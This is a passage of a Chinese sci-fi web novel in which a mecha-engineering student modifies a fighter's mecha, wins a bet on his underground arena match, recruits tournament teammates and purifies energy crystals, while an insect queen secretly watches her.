“隔壁机甲工程系的水平没我们学校的专业, 现在要担心是隔壁的机甲尖兵来我们这抢人。” 赵宴月只是在给金属羽翼架构引力丝的间隙发帖感叹一下, 并没有关注后续。 光脑屏幕的蓝光映出她眼下淡淡的青黑，她扭了扭有些酸疼的脖颈又低下了头。 一片片金属羽翎在操作台上展开，反射出室内白炽灯冷色的灯光。 “这可比背《灵植基础》费劲多了。”赵宴月啧了一声，把引导棒当成笔握着精准点在羽翎的根部。 随着精神力缓缓流出, 像是给羽毛雕刻出用于支撑的中空羽轴般架构出了引力丝脉络。 羽翎内部的引力丝就像是有生命的藤蔓般顺着她划出的轨迹缓缓生长，由粗到细，最终在羽尖收束成一道几乎已经微不可见的细线。 虽然武器设计师不做人，但每一根羽翎都代表着一个发射装置的巧思确实值得称赞。 她几乎已经可以想象出羽翼展开后万箭齐发的场面了，这几乎是毫不逊于灵兽天赋技能的大招，耗费的精神力也没有使用天赋技能多。 在临时抱佛脚学习了两天给武器架构引力丝后，又花费了三个晚上的时间，赵宴月才终于干完了活。 不管是给武器架构还是机甲架构，架构引力丝的本质都是一样的。 说到底就是需要熟能生巧，架构的时候定点准，位置准，粗细的把握也要准，让精神力能顺滑地流通——这些都需要通过大量的训练来把握手感。 把架构好引力丝的金属羽翼加装到机甲上后，赵宴月便卡着最后期限给顾客发了消息让他来领机甲。 拧螺丝中勿扰：机甲加装好了，来工作间领，有问题再找我。 雷康：马上来！我今天晚上9:45的比赛，刚还想问师傅进度呢。 赵宴月放下光脑，赤红色的机甲静静矗立在工作室中央，左手上是电磁炮，背后收拢的金属羽翼在灯光下流转出暗红色的光泽。 看着最终成果，心中那种“靠瞎编简历进了大厂”的心虚感终于荡然一空。 她站起来伸了伸胳膊又伸了伸腿，关节发出轻微的“咔咔”声，然后拿着数据芯片就去找负责人对线去了。 该去讨债了。 虽然她是抱着敬畏之心来学习的，但是打黑工是不可能打黑工的，这根本就不是500星币的活。 作为一个靠捡0.5星币一个的空牛奶罐发家的人，谁都别想从她兜里骗走一个币。 推开地下黑赛负责人办公室的门，面容清秀的男人正对着光脑笑眯眯地训话。 见赵宴月气势汹汹地闯了进来，陈瑾眸光一动，便对她的来意心知肚明。 ——只是依然惋惜就算人是封嘉荣介绍来的，但是像他那样一根筋的人也确实少见。 他随手掐断了通讯笑道：“怎么了这是？有话好说嘛。” 赵宴月将光脑上的全息三维图甩到他脸上：“500星币？” “你架构好了？”陈瑾的目光划过赤红色的机甲，眸中闪过些许惊艳：“500星币的价格是武器加装，机甲加装我这不还没来得及和你提嘛。” 他没再开口忽悠，态度也软了一分：“原则上这种需要先给武器架构引力丝的加装是10w星币一个部件，这是我们108酒馆的标准定价，如果对价格不满意的话可以和选手加价，超出部分由选手自己承担。” 500星币变成10w星币，一下子翻了200倍。 这个价格还算合理，赵宴月也不是奔着着赚星币来的，不打黑工就行。 解决完这件事，走之前赵宴月又不放心地放了句狠话：“知不知道我是谁？要敢骗我有你好果子吃！” 陈瑾哪知道她是谁，但是能架构好引力丝的肯定不简单就是了。 要做到这一点，别的不说，首先就需要花费大量的星币去购买价格不菲的灵能板进行训练，一般人哪有这个钱。 最重要的是，地下黑赛缺能做机甲加装的工程师。 改造过的机甲参与比赛总是更有悬念，地下黑赛能赚到的钱也越多。 “不敢不敢。” 陈瑾朝她举起双手表示投降，说着“不敢”他的语气却没有太多“不敢”的意思，话倒是说的相当好听。 “之前是我工作疏忽，实在是不好意思，我绝对没有坑蒙拐骗的想法。” 这话谁信谁傻呗。 赵宴月真诚道：“知道不好意思，那不好意思的事就少干。” 陈瑾一愣，嘴角没脸没皮地上扬了几分：“不错的建议，我会考虑的。” 赵宴月：“……” 人一旦不要脸皮，那真是干什么都会成功。 回加装工作区的路上，一阵山呼海啸般的选手进场欢呼声从下方的对站台附近炸响。 赵宴月脚步一顿，走到护栏边往下看去，A07对站台的观众席上人头攒动，呐喊声震耳欲聋。 “许白亦！许白亦！许白亦！” 她看了眼悬浮在半空中的全息对战表，从密密麻麻的比赛通知里找到了A07对站台的对战信息。 【A07对站台】 当前对战：A级契约者许白亦[重型机甲]vsB级契约者施源清[轻型机甲] 21:45场次：A级契约者许白亦[重型机甲]vsA级契约者雷康[中型机甲] 雷康…… 这不就是她的顾客吗。 赵宴月干脆停下来，隔着老远的距离看了会儿下方对战区里正在进行的比赛。 对战台中央一台白紫配色的机甲正如鬼魅般游走，动作快到几乎拉出残影，不断和对手拉进距离进行近身作战。 机甲上装配了两把长刀，双持的长刀上雷光闪烁，每一击都带着令人胆寒的力量，金属的碰撞声听得人牙酸。 对手明显对他极快的攻势有些应接不暇，在地上翻滚了一圈避开一击后，操控着机甲飞起来往后退和他拉开距离。 而就在他飞起来的一瞬间，许白亦的长刀已经如毒蛇般凶猛地刺穿了机甲的胸膛。 地下黑赛显然并不是点到为止的比赛，黑色的机甲闪了闪化作流光消散回到了精神海，契约者也从驾驶舱跌落。 观众席上的观众们顿时起立，爆发出震耳欲聋的欢呼。 站在赵宴月旁边围观的人见状和他身旁的人讨论道：“许白亦不出意外就是A07对战台今天的擂主，每天的擂主都有20w星币的奖金呢。” “不一定，A07最后一场比赛的挑战者是A级契约者雷康，他当过好多次擂主了，实力很强。” “得了吧，雷康的比赛我看得多了，什么水平我清楚得很，强是强但是不出意外的话他肯定打不过许白亦。” “雷康都不行，照这么说他同等阶内都没有对手，只有S级机甲尖兵才打得过许白亦了。” “许白亦的契约灵兽已经18阶了，再过段时间他自己就是S级。” “长江后浪推前浪啊，听说他是斯伦大二的学生，才这么点大就能干过那些老油条，当上地下黑赛的擂主了。” “斯伦的学生和普通人能一样吗，往斯伦里面随便扔块砖头都能砸到三个A五个B的。” “也是，就是现在押许白亦顶多赚点赌狗的星币，我前天5w星币押进去扣掉手续费最后就赢个500。” “哪有小孩天天哭，哪有赌狗总是输，说不定今天就赌赢了，这赔率不得赚翻天。” 一听到赚翻天，赵宴月顿时赌狗瘾犯了，她不受控制地瞥了眼赔率表。 只要许白亦赢下雷康，他就是A07擂台今天的擂主，而随着他这一场比赛的获胜，雷康的赔率已经来到了1:9.5。 哪有赌狗总是输！ 上次押贺如故只差一点就赢了，按照欧非守恒定律这把怎么着也该赢一次了！ 她将刚到手的100500星币转手押给雷康，自己也挤进了A07对战区凑热闹。 现在的观众席正是赛前热闹的时候，压雷康的观众和压许白亦的观众各自抱团，热烈地讨论着。 赵宴月一混进观众席中，就听坐在她隔壁烫着红色爆炸头的女人扭头问道：“诶，你押的谁？” 赵宴月谨慎反问：“你押的谁？” “当然是许白亦啊。” 赵宴月：“……我当然押的也是许白亦啊，雷康狗都不押。” 女人闻言一拍大腿，态度立马热情了起来：“许白亦今天连天赋技能都没用，咱们这把稳了妹妹！” 坐在女人另一边的男人附和道：“那可不，之前见他用过一次大招，我嘞个电闪雷鸣啊，直接把对手机甲都劈焦了。” “秘藏灵兽是这样的，天赋技能猛得很。” “对啊，要不是擂主一天要打太多场，技能用多了精神力回复不过来，不然许白亦的比赛连赌狗都不会有。” “他到现在都还没有败绩！已经连赢67场了！” 两人越说越激动，眼睛越来越亮，音量越来越高，赵宴月的心越听越凉。 女人瞥见她的表情，顿时狐疑道：“你真押的许白亦？没骗我吧？你押了多少？” “100500星币。” 女人惊讶地睁大眼，倒吸一口冷气后深刻反省：“我还是胆小了，见赔率这么高还是怕出现低概率事件赔光光，还是妹妹你有胆识啊。” 她身边的男人深有同感地感叹：“难怪说别人能赚钱呢。” 赵宴月：“哈哈。” 她的目光飘向备战区，雷康正在调试他的机甲做战斗准备，另一边身姿挺拔的男生背对着她在喝水，看不出状态如何。 赵宴月重新看向和她相处了一周的机甲，眼里透着对好大儿的殷殷期盼。 拜托了！飞天小宝！ 第59章 双方选手站上对战区, 随着比赛开始的铃声划破空间，整个A07对战区的透明防护罩顿时升起。 白紫配色的机甲双手持着缠绕着电弧的长刀，没有任何对对手水平的试探, 几乎刹那间就爆发出惊人的速度向对面通体赤红的机甲攻去。 操控重型机甲需要消耗的精神力多, 相对的重型机甲的力量也无人能出其左右。 缠绕着刺目电弧的长刀带着摧枯拉朽的威势划破空气，带着令人窒息的压迫感直逼雷康面门, 空气似乎都被电流烧得焦糊。 雷康根本没有闪避的时间立马抬手格挡，结果直接被这一刀劈退数米，机甲的脚底在台面上火花带闪电地犁出两道焦黑的痕迹。 “好！”观众席上有人兴奋喝彩。 而随着距离拉开, 雷康机甲都没停稳，左手的电磁炮已经顺势抬起, “砰砰砰”地朝着对面的许白亦猛地轰出数炮。 “这种常规武器除非攻其不备出其不意，正面攻击没什么用。”坐在赵宴月旁边的爆炸头女人摇了摇头唏嘘，“被许白亦近身就完了。” 火红色的能量炮带着灼目的亮度朝着许白亦袭来, 他操控着机甲在弹雨中闪避穿梭, 毫发无伤地再次逼近到雷康身边。 女人身边的男人推了推眼镜：“雷康那个翅膀干什么用的？哪个机甲不会飞啊，难道是保护后背的盾牌？” “造型还挺好看的。”女人摇了摇头, 扭头问起赵宴月：“你知道那是干什么用的吗妹妹？” 赵宴月：“啊？不知道啊。” 没有得到答案，几人又重新看向对站台。 随着许白亦的接近, 闪着雷光的长刀再次向雷康袭来。 飞天小宝左脚一蹬右脚腾空, 在空中一个反身闪避开这一击, 而没有装备武器的右手也顺势燃起赤红色的烈焰。 烈焰如同横向旋转的龙卷风从它拳头处涌起, 翻涌着越卷越大朝前方轰去。 “火龙卷！”有观众惊呼道。 旋转的火焰如同活物般从拳锋喷涌而出, 瞬间膨胀成一道烈焰漩涡。 观众们瞬间被火光蒙蔽了视线，只能看清红色的半圆防护罩。 对站台上传来响动声，火光熄灭之时，只见许白亦已经被逼退数米, 两台机甲隔着不短的距离相对而立，空气中弥漫出焦灼的气息。 不愧是天赋技能，大招就是不一样。 赵宴月感叹之际，爆炸头女人已经开始灭他人威风，撇撇嘴道：“满状态就是不一样，精神力用起来跟不要钱似的。” 男人附和道：“雷康自己也知道不能和许白亦近身，没看他这次武器都换成打远程输出的电磁炮了吗。” “就靠电磁炮想逼退许白亦不可能，而且就算满状态他的天赋技能也不可能一直用，精神力用空了机甲都启动不了。” “就是就是。” 两人越说越欣慰，然后又纷纷看向对站台。 对站台上的两人不知何时已经又打在了一起。 一个是在地下黑赛混了十几年当了不少次擂主的雷康，一个是年纪轻轻实力却惊人的许白亦，雷光和火焰汇聚之间，战斗的精彩程度让观众们都屏住了呼吸。 赵宴月观战的同时顺便学习着两人的战斗技巧，直到她发现自己的头发忽然无视重力漂浮了起来。 她回过神，发现观众台上所有观众的头发都漂浮了起来，似乎有看不见的电荷已经隐藏在空气中蓄势待发。 赵宴月意识到什么，她伸手把自己的头发压下来，而后注视着对战台。 许白亦双刀上的雷光开始疯狂汇聚，由蓝紫色幻化成了浓重的黑紫色，这个蓄力过程就像是被压在断头台上的犯人在等待行刑，给人一种毛骨悚然的压迫感。 数道水桶般粗壮的黑紫色电柱猝不及防地在刹那间降下，数千观众的头发也瞬间炸开。 即便隔着防护罩，整个观众席的座位都在雷霆落地的瞬间震颤起来，足以见得这万钧雷霆的威力宛若神罚。 “好强……” 赵宴月顾不上周围人的感叹，她紧张地朝雷康看去，发现他身后的羽翼已经合拢着将整具赤红色的机甲包裹了起来。 雷光散去时，赤红机甲受到的损伤被巨大的金属羽翼格挡了一部分。 飞天小宝收回羽翼，焦黑的机甲表面时不时迸溅出细小的电火花，然后又在众人惊异的目光中悬浮到了空中。 “竟然没秒掉……” “这个加装的防御装置很有巧思啊，不占用手的位置就意味着不用牺牲战力去堆防御。” “许白亦状态还够吗？他今天连打十三场了，就算每场比赛都有间隔精神力也回不满吧。” “雷康都放了几次技能了，他怎么还飞起来了？这精神力不消耗得更快，他应该也放不出技能了。” “S级精神海还是强啊，加上这一场竟然能连打十四场，但是开完技能他精神力绝对要不够了。” “别慌别慌，雷康状态也一般，就算挡了一部分伤害他机甲损伤程度也快到阈值了，许白亦的技能从来不和别人闹着玩。” “两人都放不出技能的话，那还是许白亦胜算更高啊。” 观众席上的观众们观赛经验丰富，许白亦的双刀上果然没有再缠绕着雷光，没有再消耗精神力给武器加buff。 而天上的雷康见状笑了起来，被许白亦压着打了半天，终于是把这个超长续航的小崽子消耗完了。 S级的精神海确实难缠。 赤红色机甲身后的羽翼瞬间展开，电磁炮也抬起来对准了地面上的许白亦。 炮弹再次如陨石般砸下，而许白亦也再次纷纷闪避了过去，白紫色的机甲如同舞者般穿梭在火红的弹雨中，而后在某个刹那腾空而起。 双刀上重新附上黑紫色的雷霆，带着万钧之势朝空中的飞天小宝劈砍而去。 等的就是这一刻。 千钧一发之际，火红机甲的羽翼突然有暗红色的光芒流转，数千片羽翼上的引力脉络依次亮起，光芒将逼近的白紫色机甲都映出暖色。 成千上万道细密的火线如暴雨梨花针般朝着迎面而来的机甲劈头盖脸地砸去，也印在了观众的瞳孔之中。 “我的天……这什么鬼……” 这个距离已经避无可避。 白紫色的机甲一顿，迎着千万根火线强行迎头而上，右手的长刀砍上飞天小宝的瞬间，自己的机甲也如光点般消散。 剩余的灼热火线三三两两地砸到了许白亦自己的身上，其中一根更是和眼睛擦肩而过，锋刃直接割破了侧脸。 飞天小宝也被这毫无保留的一刀砍到消散，两人纷纷从空中翻转着姿势落地。 全场寂静。 裁判的哨声刺穿一地静谧尖锐地响起。 “许白亦以0.132秒之差率先丧失作战能力！恭喜雷康挑战成功，成为A07对战区今日擂主！” 随着话音落下，赵宴月光脑突然一震，吱吱宝出现“吱吱宝到账907012.5星币”的提醒音。 即便减去5%的手续费，投进去的100500星币也直接翻了9倍。 赵宴月一个没控制住，站起身喝彩道：“好！” 这一声如同点燃了引线般让安静的对战区瞬间炸开，为数不多的赌狗们回过神来，开启一场脸上青筋暴起的狂欢。 帽子外套夹杂着白色的投注单纷纷被抛到天上，有人哈哈大笑道：“谁说赌狗不得好死！赌狗只会赢得发麻！” 雷康接过话筒，神色激奋地发表获胜感言：“感谢我的契约灵兽炽炽！感谢支持我的各位观众！” 他说到这，目光锁定观众席上的少女语气激昂道：“最后特别感谢为我的机甲进行加装的工程师……呃……‘拧螺丝’小姐！” 随着他的感谢，全息屏幕上依次划过雷康的脸，观众的脸，最后停留到观众席的少女身上。 许白亦抬眸看去，只见站在观众席上的少女不知为何一双狐狸眼里透着心虚和尴尬，像只被强光突然照射的夜行动物。 她像个招财猫似的僵硬地伸出手弯了弯，当做向观众们打招呼。 坐在她隔壁的爆炸头女人指着她神色愤怒，控诉的尖叫声通过电蝇蛾的收声装置清晰的在四面八方响起。 “骗子！叛徒！你刚还和我说你押的许白亦！你还说雷康狗都不押！你吱吱宝到账90w星币的提示音我都听到了！” 雷康：“……？” 赵宴月：“哈哈……你们听我解释。” 电蝇蛾慌乱又火速地移开镜头，虽然它是只灵兽，但是大家都已经感受到了它的尴尬。 许白亦收回视线，抬手擦去脸上的血迹。 赵宴月顶着四面八方酸成柠檬精又十分不爽的目光，从容不迫地逃离了观众席。 无所谓，强者总是孤独的。 看她不爽很正常，看她爽了那还得了。 她哼着不连贯的曲调往货运电梯走，决定带着热腾腾的90w星币回宿舍睡觉。 “拧螺丝小姐。” 清晰的男声响起，赵宴月回过头去，只见许白亦站在她身后。 他衣服上破了好几个洞，破损的衣服下露出或轻或重的泛红灼伤，这副模样让他显得有些狼狈，但男生依旧站得很直。 “你是斯伦的学生吗？” 赵宴月听到问话笑了起来。 太好了，省得让她拿着飞天小宝到处打广告。 “我是兰柏林的学生。” 这句话一说完，双方对视一眼，都对对方的意思心知肚明——这不就是自己命中注定的好队友。 只不过现在天色已晚，许白亦也要去躺治疗舱，两人没有多聊，先交换了联系方式。 赵宴月走出108酒馆坐上悬浮车，这才发现除了侍卫官外易秋也在，她衣服的领口上还沾着些许血迹。 这一周玻娅区的邪教窝点清扫活动似乎遇到了大麻烦，易秋赶着去支援，接送赵宴月的人一直都只有几名侍卫官。 侍卫官也都是A级契约者，易秋比起保镖，其实更多实施的是“照顾”。 赵宴月的目光从她的领口上移开，问道：“清扫完成了吗。” 易秋点了点头，良久才迟钝地眨眼，张了张嘴只发出一道气音：“完成了。” 见她似乎有些累，赵宴月点了点头也没再多问：“你先休息一下。” 又过了好一会儿，旁边的单人真皮座椅上才传来一声低低的回应：“嗯。” 夜风穿过半开的车窗，窗外是玻娅区霓虹交织的夜色。 赵宴月这一周下来白天上课晚上上班也有些累了，听着易秋平缓的呼吸声，她不知不觉也睡了过去。 迷迷糊糊中，有温热的吐息拂过耳畔，似乎有人将脸埋进她的颈窝蹭了蹭。 “好香好香好香好香好香……” 轻轻的呓语声机械地重复，重叠在一起的身影投影在倒映出外界璀璨灯火的车窗里，悄无声息。 第60章 悬浮车很快就在兰柏林的校门口停了下来, 赵宴月睁开眼时，易秋正板板正正地坐在旁边的单人座椅上，眼睛都没眨地盯着她。 她的眼神充斥着些许痴迷和诡异的饥渴, 赵宴月狐疑地看了她一眼：“饿了就去吃饭。” “饿……”易秋似乎思考了一下这句话的意思, 然后又仔细感受了一下，摇了摇头又点了点头：“不饿。” 赵宴月：“……？” 问她饿或不饿她说或, 问她冷的热的她说甜的咸的。 这到底是饿还是不饿。 赵宴月下了车往校门口走，十分大方地和亦步亦趋跟在她身边的易秋道：“走吧，我请你吃食堂。” 易秋在扫描的安检门边停下, 松开了牵着赵宴月的手，她垂落在制服裤缝边的手指稍稍抽搐, 垂下眸退后了一步道：“我不吃。” 按理来讲，她向来都恨不得粘在自己身上一秒都不分开才对。 赵宴月见她拒绝有些讶异，但也没坚持：“那你回去吧。” 易秋站在原地没动, 眼巴巴的目光黏在赵宴月身上撕都撕不下来。 这下对味了。 赵宴月本来还觉得易秋今天的话格外少, 这种舍不得她的目光一出来，真是哪哪都对劲了。 看着赵宴月越来越远的背影, 直到侍卫官提醒，易秋才回过神回到悬浮车上。 那双盈满渴望的眼神骤然冷却, 她面无表情地做了个吞咽的动作, 看向安检门的眼神漠然到毫无人类的情绪。 数千万公里外, 被紫色稀薄大气层笼罩的星球上晨光乍现, 恒星的光芒穿过大气层被过滤成病态而瑰丽的青紫色。 高空中偶尔掠过一道极光, 这些闪烁的光落到地面上被泛着荧光的奇异草木吸收，而后转化为生物能量沿着深处的神经网络传输进虫巢。 星球上既没有风也没有雨，既没有土壤也没有山河，静谧无声。 荧光草木从金属地面中生长出来覆盖着整颗星球, 像是在呼吸般一点点脉动，勤勤恳恳地转化着能量供养着星球的主人。 星球中心，巨大的古树拔地而起，占地千万公顷——虫族王巢。 古树最顶端的巢穴内，令联邦闻之色变的S级虫族匍匐了一地。 它们的外观看着和人类无异，唯有头顶上两根纤细的触角轻轻颤动，脸上也看不出表情——或者说它们根本没有表情。 刚破壳不久的王头上的触角动了动，淡漠的目光穿过匍匐的虫族遥遥看向遥远的天边，又透过不知何人的眼睛注视着窗外的霓虹灯光。 ‘我要吃了她。’ ‘是。’ 虫族的触角轻颤，不知多少人忽然睁开眼，齐齐望向兰柏林的方向。 …… 赵宴月一回到宿舍，庄思恬就像只炸了毛的猫似的双手抱胸站在门口堵她：“你怎么天天出去鬼混，成天到晚见不到人！” “怪事。”赵宴月将她扒拉开，像是拨开了一片挡路的窗帘，她慢悠悠地去洗漱：“之前也没见你关心我，有什么事赶紧说。” 庄思恬闻言也不装了摊牌了，她将论坛的帖子怼到赵宴月眼前：“这人是谁啊，你们专业大一就八十多个人，你认识她吧？” 光脑的光映到脸上，赵宴月稍稍眯了下眼，看见“拧螺丝中勿扰”的ID被庄思恬的指尖戳得发亮。 “你找她有事？” “这不是我们队找不到工程师吗……” 不等庄思恬说完，赵宴月便吐掉嘴里的水说道：“那你怎么不找我，我不也是机甲工程系的？” “那怎么一样！人家是会机甲加装的工程师……” 庄思恬一想到赵宴月才C级，生怕她缠上自己要组队，表情和语速顿时一起凝固了，目光飘忽。 “你不认识就算了，反正也不知道是真是假，我再去找找其他人。” 她说完还贴心地帮赵宴月关上了房门，害怕看见赵宴月深邃的眼神，那是她目前最不敢面对的东西。 赵宴月的目光还没从房门上收回来，就见房门又偷感很重地被人悄悄推开。 刚才关门关太急被夹住的睡衣蕾丝袖口收了回去，然后门又小心翼翼地被关上，生怕发出一丁点声响。 “……” 被庄思恬这么一提醒，赵宴月也想起了自己在论坛上发的帖子。 她登上去看了看，发现同学们已经就“拧螺丝到底会不会机甲加装”一事盖了好几百楼。 刚打算点进去看看，光脑恰好在此时震了震，许白亦给她发来了信息。 许白亦：你有队友推荐吗？我们队暂时还差一个人。 赵宴月：新星杯不是三个人一个小组吗？ 许白亦：是的，现在我们队已经有你和我两个人了。 赵宴月：那很多了。 许白亦：总之找队友的事就交给你了。 赵宴月：那你呢？ 许白亦：我没空，忙着去当擂主，我会在新星杯开赛之前升到S级。 许白亦：不用过多费心，理论上来讲有我们两个，闯进前一百名不难。 新星杯报名时间已经截止，目前新星杯官网上显示这一届报名人数是14876人，积分前一百名的小组能获得联邦军校联赛的参赛资格。 ——也就是14876人中选拔出300人参赛，差不多刚好50:1的比例。 听着似乎不难，但是这14876人里汇聚了全天市星最优秀的学生，每个人都是B级精神海起步。 兰柏林和斯伦两个学校的四个年级加起来，光是S级精神海都有两百多人，已经占据了三分之二的参赛名额。 赵宴月的目光重新停留在帖子上，趁着现在热度高干脆打起了找队友的广告。 拧螺丝中勿扰：寻找新星杯队友，目前还差一人，顺便问问有没有人出S级晶源，高价收高价收高价收。 找队友还有时间磨唧，但是S级晶源已经不能再拖了！ 她这段时间基本没怎么使用精神力，精神海里的精神力重新回归到浓郁到能化成水的状态，小五的修炼速度显著提升。 赵宴月本来预计两周后小五才能达到进化的等阶，但是现在看来需要耗费的时间比预计的还要短。 小五进化用的灵植她早就靠着在猎人公会氪金提前准备好了，但是S级晶源还迟迟没有音信。 “最近S级晶源都严重溢价了，收的人还越来越多。” “没办法，虫族已经集体哑火好长一段时间了，之前它们向来三天一小潮五天一大潮地进攻编号星，现在一点动静都没有。” “S级晶源本来就稀缺还供不应求，没有虫潮都不知道去哪能找到统帅级王虫。” “真的很见鬼，边缘星上密密麻麻的虫巢里从来看不见王虫，它们平时都在哪睡觉啊……” “你别说，你还真别说，看联邦远征队官方号发的清缴虫巢的视频，每次远征队进攻虫巢，不管将领级王虫还是统帅级王虫都是神鬼莫测地出现，但是没有任何一只王虫是从虫巢里出来的……” “虫族不主动发动攻击，能拿到S级晶源的也就只有远征军了。” “所以楼主到底会不会机甲加装！我是A级契约者，精神海S级，如果会的话我愿意加入你们小队！” “虫族不会有新的王虫孵化了吧，不然那些统帅级王虫谁也不听谁的，不可能一起安静这么久。” “楼上在说什么鬼故事，别自己吓自己了。” “我家有S级晶源，曾经拍下来的一直没用，让我进你们队我就按当时的拍卖价卖给你。” 赵宴月目光一顿，点开回帖人的主页看了眼。 大一机甲尖兵系。 大一会报名参加新星杯的新生不多，她多看了一会儿回帖人的论坛ID，好像已经知道了对方是谁。 拧螺丝中勿扰：江茂茂？ M&M：诶？ M&M：赵宴月！是不是你！ 两人一接上头，江茂茂立马拨了个全息视频通讯过来。 江茂茂正在宿舍里做平板支撑，不知道他做了多久，反正现在手抖得跟筛糠似的。 赵宴月还没来得及说话，他已经先脸朝地趴下了。 “这就睡了？年轻人真是倒头就睡。” “就知道笑我。”江茂茂从地上爬起来坐到了椅子上，忧伤道：“兰柏林其他学院暂且不说，军事学院里大概只有我一个胖子。” 军事学院的课程训练量巨大，学生里只有壮的没有胖的。 赵宴月闻言仔细打量了江茂茂一眼，他长相其实不错，只不过白白嫩嫩的还有点圆润，给人很强的亲和感。 “哪里胖了，我们军事学院哪有胖的。”她说到这伸出手比划了一下，严谨道：“顶多也就微胖，比其他人大概胖20%吧。” 连20%这么精确的数字都说出来了，还说他哪里胖。 “虚伪！”江茂茂凑近屏幕，将闲聊拉到正题上：“你真要和我组队吗，按照咱两的关系，就算你不和我组队我也可以把晶源卖你。” 他说着说着就低落了起来：“你知道的，我精神海只有C级。” 赵宴月大手一挥：“没事，我们还有一个队友，他说能带咱两飞。” 江茂茂眨了眨眼，顿时期待道：“是S级指挥吗？类似法温莎军校的闻怀玉那种吗？” 联邦军校联赛的队伍配置是参赛的150人中选出一名指挥一名工程师以及一名机甲尖兵带队。 新星杯参照了联赛的队伍配置也是三人为一小组，但是由于一个队伍里也只有三个人，所以指挥的重要性完全被模糊了。 加上指挥系学生的作战能力普遍比不上机甲尖兵，所以大家心中的完美队伍基本由两名机甲尖兵和一名工程师组成。 实在不行三名机甲尖兵一起上，只要力大砖飞也能杀出重围。 但如果是一名S级指挥，实力超强不说脑子还好使，那确实可以尝试一拖二冲一冲前一百。 江茂茂想到这差点笑出声，要是他能获得联赛的参赛资格，那岂不是他爹见了他都得叫一声茂茂大王…… 赵宴月打断了他的幻想，冷漠无情道：“不是。” “好吧，事实上我能组上队就不错了。” 江茂茂一秒暂停幻想回归现实，然后雄赳赳气昂昂道：“我明天就回家把S级晶源偷出来，到时候一手交钱一手交货。” “……偷？” “嗯？”江茂茂以为她也感兴趣，兴致勃勃地邀请道：“你要来我家一起吗？” 他说这话的语气好像在邀请她明天一起去食堂打饭。 赵宴月：“……” 挂断通讯，赵宴月将衣柜里跟了她许久的大麻袋拖了出来，里面是满满当当都是D级晶源，这些都是在禁区时季瑛送的。 她去紫微星之前说爱心互助论坛要闭店两周，还画下了等她回来就会提供F级净化晶源的大饼。 ——结果每天都有数不清的事要干，闭着闭着她给闭忘了。 登上一个多月都没登的爱心互助论坛，私信果不其然已经爆炸，论坛上挂的帖子几乎全部与她有关，赵宴月难得感到了一阵心虚。 “等店主回来的第39天，想她想她想她。” “请问网友失踪一个月能报警吗。” “复活吧！我的店主！没有你我家灵兽可怎么办啊！魂归来兮！魂归来兮！！魂归来兮——” “天市星，我恨你不争气！联邦军校联赛年年倒数第一，净化晶源每年分到的份额永远最低。” “有没有什么超级黑客能追踪到店主的地址，来个人救一下。” “店主不会被抓了吧，虽然很不愿意这么想，但是她绑架了那——么多净化师，这可是要被枪毙的。” 再不冒泡估计她坟头草都要两米高了，赵宴月紧急编辑了一条帖子。 裘花花：店主鬼混回来了！小店即将上新，敬请期待！ 论坛网友：！！！魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 60-70 第61章 D级晶源比起E级F级晶源最大的不同, 就是这个等级的晶源已经会散发出微弱的光。 原本赵宴月还担心一下子跨越两个等级去净化D级晶源会不会难度太大，真上手之后却感觉意外的简单。 比起架构三个维度的引力丝，净化晶源是平面操作, 对于已经习惯架构引力丝的赵宴月来说就像是水牛背树叶一般轻而易举。 即便D级晶源的晶源回纹比无品级晶源复杂得多, 也不过是净化起来更加费神而已，并没有技术上的壁垒需要去突破。 一麻袋晶源差不多有几千个, 赵宴月勤勤恳恳地净化了三五天，期间还花费掏空了她吱吱宝的巨资从江茂茂手里买下了S级晶源。 看着再次重回五位数的吱吱宝，赵宴月长长地叹了一口气, 忽然有点想念赵董事长。 要是赵董事长在，她的吱吱宝里应该永远不会缺钱, 毕竟她爹真的很会赚。 【你想赵董事长吗】 作为一个对宿主一见钟情的统，撒因向来想宿主之所想，忧宿主之所忧, 一感受到宿主的烦恼便立马冒出了头。 “可能有一点吧。”赵宴月听着松教授讲课, 撑着脸在心里回道，“毕竟距离产生美, 我和他都隔了千亿光年，这不得美得不行了。” 赵宴月说完又有点ptsd发作, 补了一句道：“也不知道他认识到自己的错误了没, 他根本就不知道和我平等对话, 真是没招了。” 面对赵董事长是否认识到自己错误这个问题, 作为成功人生辅助系统, 撒因立马为宿主排忧解难。 它出手十分阔绰地穿过维度空间，在数据库里复现了地球上此时的画面，系统能量条的能量也以每秒0.1%的速度快速消耗。 被赵宴月念叨的赵董事长此时正坐在自己的办公室里工作，在钱权的滋养下看着还是很年轻, 但头发短短数月便几乎白了一半。 干净整洁到像是有强迫症一样的老板桌上，除了一些文档资料外，只有一张全家福的合照透着点活人气息。 照片上的一家三口看起来幸福美满，当时还小小的赵宴月被打扮成了公主，带着华丽的宝石王冠坐在唯一的单人沙发上。 清冷漂亮的女人站在赵宴月的身后，目光一心一意停留在女儿身上，笑眯眯地用食指在赵宴月的脸颊两侧手动戳出两个酒窝。 比现在年轻许多的赵董事长一心一意地看向妻子，基本无视了闺女的存在。 只有赵宴月一个人一心一意地看着镜头，大大的眼睛里全是对出片的渴望。 全家福里的三个人各忙各的，看起来都十分专心致志，丝毫不被其他人干扰。 撒因将视线从全家福里的mini版赵宴月身上移开，刚想关电视就发现一个细腰长腿的大美女走了进来，还顺手关上了门。 她上前几步俯身将咖啡放到桌上，刻意压低的腰身让雪白的沟壑在解了一颗纽扣的衬衫缝隙中显现，将咖啡放到男人手边时有意无意蹭过了他的手背。 看似是不小心，但她的眼神中充斥着仰慕、野心和征服欲，这种神情不仅让她本就好看的脸更加迷人而充满魅力，也让这似有若无的动作显现出几分挑逗和暗示。 关了门的办公室里，气氛一下子便产生了变化。 撒因对赵董事长的印象一直停留在“父亲”这个身份上，乍一看到这个画面顿时“啪”的一下关了机，没敢继续看下去。 【赵董事长有没有认识到他的错误不知道，但是你好像要有新妈妈了】 赵宴月从《灵植大全》里抬起头：“……？” “你把刚才的话再说一遍？” 撒因绘声绘色地将自己看到的画面一五一十地复述了出来，然后立马战斗欲十足地提出解决办法。 【等我的能量条攒到一半就可以送你回去，但是你的精神力和地球磁场不合，在地球上会头疼】 【而且在地球上我攒不出再送你来三垣星系的能量，你的人生已经成功到没有上涨的空间了】 赵宴月怒火中烧中带着点平静，她反问道：“你不能把我爹送过来吗？” 真是从未思考过的角度。 撒因认真思考了一会儿。 【可以是可以，但是我回去一趟再返回来，能量条得满了才行】 说完这句，撒因站在人类的角度推测了一下，十分客观地再次进行了发言。 【还有一点，我觉得你的父亲未必会同意来三垣星系】 “现在能量条多少了？” 【12.973%】 